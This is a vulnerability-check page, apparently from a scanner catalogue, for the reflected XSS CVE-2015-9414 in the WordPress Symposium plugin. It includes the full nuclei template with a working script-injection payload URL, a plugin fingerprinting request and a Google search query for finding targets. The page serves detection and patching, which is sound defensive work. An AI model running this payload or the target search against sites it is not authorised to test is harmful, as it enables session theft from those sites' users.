WordPress Symposium <=15.8.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.6%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

WordPress Symposium through 15.8.1 contains a reflected cross-site scripting vulnerability via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter which allows an attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the WordPress Symposium plugin (>=15.8.2) which includes a fix for this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/wp-symposium/readme.txt
Positive when: contains "WP Symposium" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/wp-symposium/get_album_item.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2015-9414 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-9414

info:
  name: WordPress Symposium <=15.8.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Symposium through 15.8.1 contains a reflected cross-site scripting vulnerability via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter which allows an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Symposium plugin (>=15.8.2) which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/2ac2d43f-bf3f-4831-9585-5c5484051095
    - https://wpvulndb.com/vulnerabilities/8175
    - https://wordpress.org/plugins/wp-symposium/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9414
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-9414
    cwe-id: CWE-79
    epss-score: 0.03589
    epss-percentile: 0.89523
    cpe: cpe:2.3:a:wpsymposiumpro:wp-symposium:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpsymposiumpro
    product: "wp-symposium"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/wp-symposium\""
  tags: cve2015,cve,xss,wpscan,wordpress,wp-plugin,wpsymposiumpro,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Symposium'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-symposium/get_album_item.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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